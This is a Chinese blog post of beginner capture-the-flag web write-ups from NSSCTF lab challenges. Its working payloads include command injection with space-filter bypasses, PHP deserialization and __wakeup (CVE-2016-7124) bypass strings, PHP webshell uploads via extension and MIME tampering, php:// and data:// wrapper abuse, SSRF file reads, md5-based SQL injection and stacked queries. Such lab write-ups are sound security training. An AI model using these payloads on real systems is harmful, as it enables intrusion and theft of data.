web从零开始day1

luyanpei

[SWPUCTF 2021 新生赛]babyrce

image-20250423135045562

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

要求cookie值admin=1,到达next.php

hackbar构造

image-20250423135349775

访问rasalghul.php

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>

意思是通过GET参数传递一个url参数,然后赋值给$ip变量。接下来有个正则表达式检查是否有空格,如果有的话就die。然后执行shell_exec($ip)

构造

1
http://node5.anna.nssctf.cn:23645/rasalghul.php?url=ls

image-20250423145336013

但是过滤了空格,利用${IFS}替代空格构造查看根目录

1
http://node5.anna.nssctf.cn:23645/rasalghul.php?url=ls${IFS}../../../

image-20250423145604150

构造

1
http://node5.anna.nssctf.cn:23645/rasalghul.php?url=cat${IFS}../../../flllllaaaaaaggggggg

image-20250423145641644

[SWPUCTF 2021 新生赛]ez_unserialize

image-20250423145927395

御剑扫一下

image-20250423151918756

扫到robots.txt

image-20250423151943153

访问

1
http://node7.anna.nssctf.cn:29794//cl45s.php

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

代码里有一个类wllm,里面有admin和passwd两个公共属性。构造函数construct()把它们初始化为user和123456。然后析构函数destruct()会在对象销毁时触发,检查admin是否等于”admin”,passwd是否等于”ctf”,如果满足的话就包含flag.php并输出$flag,否则输出当前admin和passwd的值。GET参数p传入数据,然后调用unserialize($p),所以这里的关键应该是构造一个序列化的wllm对象,使得在反序列化后,析构时admin和passwd的值满足条件

反序列化入口unserialize($_GET['p']) 直接反序列化用户输入,未做过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$obj = new wllm();
$obj->admin = "admin"; // 覆盖默认值 "user"
$obj->passwd = "ctf"; // 覆盖默认值 "123456"
echo serialize($obj)
?>

关键

1
2
3
4
5
$obj = new wllm();
$obj->admin = "admin"; // 覆盖默认值 "user"
$obj->passwd = "ctf"; // 覆盖默认值 "123456"
echo serialize($obj)
?>
1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将这个序列化字符串作为p传参传进去

image-20250423152748401

[SWPUCTF 2021 新生赛]easyupload2.0

image-20250423154152167

文件上传,一句话木马,不能上传php,利用jpg上传抓包改文件后缀为phtml,可以被当作php解析

image-20250423154136008

蚂蚁剑连接

getshell

image-20250423154210227

[LitCTF 2023]PHP是世界上最好的语言!!

image-20250423154501558

右边run code 估计可以跑代码

测试一下

1
2
3
<?php
system('ls')
?>

image-20250423154559990

发现真的可以列出来

1
2
3
<?php
system('ls ../../../ ')
?>

image-20250423154915970

找到flag

1
2
3
<?php
system('cat ../../../flag ')
?>

[SWPUCTF 2021 新生赛]easyupload1.0

一句话木马内容

image-20250423161851366

上传抓包改后缀为php

image-20250423161919852

content为image/jpeg

1
2
3
4
5
6
7
8
Content-Type:

image/jpeg :jpg 图片格式
image/png :png 图片格式
image/gif :gif 图片格式
text/plain :纯文本格式
text/xml : XML 格式
text/html : HTML 格式

蚂蚁剑连接image-20250423160737398

得到一个flag但是是fake_flag

木马里面调用了phpinfo访问phpinfo

image-20250423161949421

NSSCTF{60ded589-3002-4e03-8871-e108deaa8c1a}

[LitCTF 2023]导弹迷踪

f12翻源码在game.js里面

image-20250423162409881

[SWPUCTF 2021 新生赛]PseudoProtocols

image-20250423163115199

url框里面有参数wllm

PseudoProtocols是伪协议的意思。构造php伪协议

1
php://filter/convert.base64-encode/resource=hint.php

image-20250423164236258

base64解码: <?php
//go to /test2222222222222.php

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

要解决此PHP题目,需利用file_get_contents支持的数据协议(Data URI)来绕过直接文件读取的限制。以下是详细步骤:

解题思路

  1. 目标条件:使file_get_contents($a)读取的内容等于I want flag

  2. 关键点参数a可控,且PHP支持通过Data URI直接嵌入数据

  3. 协议利用:使用data:text/plain协议直接构造包含目标字符串的URI。

  4. 构造Data URI

    1
    data:text/plain,I want flag

    该URI的明文内容即为I want flag

  5. URL编码
    将空格替换为%20以确保传输正确:

    1
    data:text/plain,I%20want%20flag

image-20250423174214583

[SWPUCTF 2021 新生赛]no_wakeup

php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

题目里面吗有一个

多了一个__wakeup的魔术方法,此魔术方法的调用条件:

当使用unserialize时被调用,可用于做些对象的初始化操作。

此魔术方法在CTF中经常利用到以下知识点:

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

payload

1
2
3
4
$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";
echo serialize($obj)

跑出来O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}

利用CVE-2016-7124,也就是刚刚的__wakeup()函数漏洞,更改payload让表述对象属性个数的值加一

1
2
原:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
改:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
1
http://node7.anna.nssctf.cn:26759/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}

getflag

[NCTF 2018]签到题

访问index.php,抓包,flag在文件头里

image-20250423181307449

[LitCTF 2023]Follow me and hack me

用hackbar

image-20250423181648231

考察get post传参。

[NISACTF 2022]easyssrf

题目说是ssrf

解析:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

image-20250423212104118

image-20250423212119270

利用file协议测试一下

1
file:///flag

image-20250423212157598

再测试

1
file:///fl4g

image-20250423212301263

访问ha1x1ux1u.php

得到

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);
  1. 过滤绕过stristr($file, "file")检查参数中是否含有file(不区分大小写),直接使用绝对路径/flag不含该关键词。
  2. 文件读取file_get_contents直接读取指定路径文件内容

最终测试

1
http://node5.anna.nssctf.cn:23690/ha1x1ux1u.php?file=../../../flag

getflag

[LitCTF 2023]Ping

image-20250423213431414

ping 127.0.0.1是有返回包的,看源码

image-20250423213459451

这里有一段js代码去进行输入限制

主要限制的是前端对用户输入的IP地址进行格式验证

那么思路就是禁用掉前端js就可以命令执行127.0.0.1;ls 然后cat flag

这是第一种方法

第二种方法,抓包修改command,绕过js

image-20250423213912360

构造

1
command=127.0.0.1;ls ../../../

image-20250423214102906

发现flag

1
command=127.0.0.1;cat ../../../flag&ping=Ping

image-20250423214218276

[BJDCTF 2020]easy_md5

(重点md5($password,true) ByPass)

随便传入cat /flag,发现url框里有password参数

image-20250423214428388

在网络get请求的消息头里发现了hintimage-20250423214955900

1
select * from 'admin' where password=md5($pass,true)
  • MD5($input, TRUE) 返回原始二进制数据(16字节),而非32位HEX字符串。
  • 若二进制数据中包含 可被解析为SQL语法的字符(如' 'OR),会导致查询逻辑被篡改。

image-20250424172506448

在这里是true,会返回原始16字符的二进制格式

如果md5值经过 hex转字符串 后为 ‘or’+balabala这样的字符串,则拼接后构成的SQL语句为:

1
select * from `admin` where password=''or'balabala'

提交参数被MD5之后再组合进sql查询语句,MD5之后是hex格式,转化成字符串如果出现’or’ xxxx的形式就会导致注入成功,

一个字符串

1
ffifdyop

md5之后是276f722736c95d99e921722cf9ed621c

转字符串bytearray(b”'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c”)

所以注入成立

到下一个页面

查看源码

image-20250424190859143

发现

1
2
3
4
5
6
7

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');

意思是get传参接收a,b。要求a跟b不等于但是md5值相等,在这里==是弱等于

数组绕过(===判断 或 ==判断)

原理:md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断

另一种方法md5值以 0e 开头的全部相等(==判断)

原理:0 的多少次方都等于零,因此当两个数的md5值都以为0e开头时,宽松判断会相等

所以数组绕过

1
?a[]=1&b[]=2

image-20250424191627565

或者md5 0e绕过

md5以后是0e开头的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

image-20250424191655643

得到

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

意思是如果POST方式,传param1和param2两个参数,这两个参数还不能相等,但是md5转换后的值还要相等

但是后面是强类型md5,直接数组绕过,都返回null

1
param1[]=1&param2[]=2

image-20250424192203844

[suctf 2019]EasySQL

测试

1
'' or '1'='1'

有回显

image-20250424192620573

但是无效果表明 or 被过滤了

利用burp抓包测试

image-20250424194129622

利用sql注入关键词字典测试,

被过滤

1
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|

由此观之,报错注入,union联合注入,盲注皆不可行,所以我们尝试进行堆叠注入

堆叠注入:将多条SQL语句放在一起,并用分号;隔开。

我们用

1
1;show tables;

测试

image-20250424194243797

发现有Flag表,确定flag在表里

测试

1
1;select flag from Flag

回显

image-20250425111347111

方法一:

使用 sql_mode 中的 PIPES_AS_CONCAT 函数。

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

1
1;set sql_mode=pipes_as_concat;select 1

方法二:

输入的内容为

1
*,1

内置的sql语句为

1
sql="select".sql="select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

image-20250425111549038

GXYCTF 2019]Ping Ping Ping

命令执行

1
127.0.0.1;ls

image-20250425111905481

查看flag.php发现被过滤

看一下index.php

1
127.0.0.1;tac$IFS$1index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
?>

}
print_r($a);
echo "<pre>";
$a = shell_exec("ping -c 4 ".$ip);
}
die("fxck your flag!");
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
}
die("fxck your bash!");
else if(preg_match("/bash/", $ip)){
}
die("fxck your space!");
else if(preg_match("/ /", $ip)){
}
die("fxck your symbol!");
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
print($ip);
print_r($match);
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
$ip = $_GET['ip'];
if(isset($_GET['ip'])){
<?php

有一个a变量可以覆盖,过滤了flag过滤了空格,/构造如下

1
http://node7.anna.nssctf.cn:26866/?ip=127.0.0.1;a=g;tac$IFS$9fla$a.php

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

三层绕过

第一层传入一个text文件,内容是welcome to the zjctf

file_get_contents函数:把整个文件读入一个字符串中。

可以用

1
php://input伪协议以POST传参'welcome to the zjctf '

也可以用data

1
text=data://text/plain,welcome to the zjctf

image-20250425123054662

绕过第一层

第二层

1
2
3
4
5
6
7
8
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

正则过滤flag。题目提示包含useless.php

file参数,利用php伪协议

1
file=php://filter/read=convert.base64-encode/resource=useless.php
  • php://filter:PHP 的协议封装器,用于处理数据流。
  • convert.base64-encode:将文件内容转换为 Base64 编码(避免 PHP 直接执行代码)。
  • resource=useless.php:指定要读取的目标文件。

image-20250425123415993

image-20250425123449506

得到

1
2
3
4
5
6
7
8
9
10
11
12
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

第三层绕过

对password进行反序列化

本地进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>

得到

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

拼接

1
http://node4.anna.nssctf.cn:28402/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20250428152416873

  • Title: web从零开始day1
  • Author: luyanpei
  • Created at : 2025-04-23 00:07:05
  • Updated at : 2025-04-28 15:26:52
  • Link: https://redefine.ohevan.com/2025/04/23/nssctf-web从零开始day1/
  • License: All Rights Reserved © luyanpei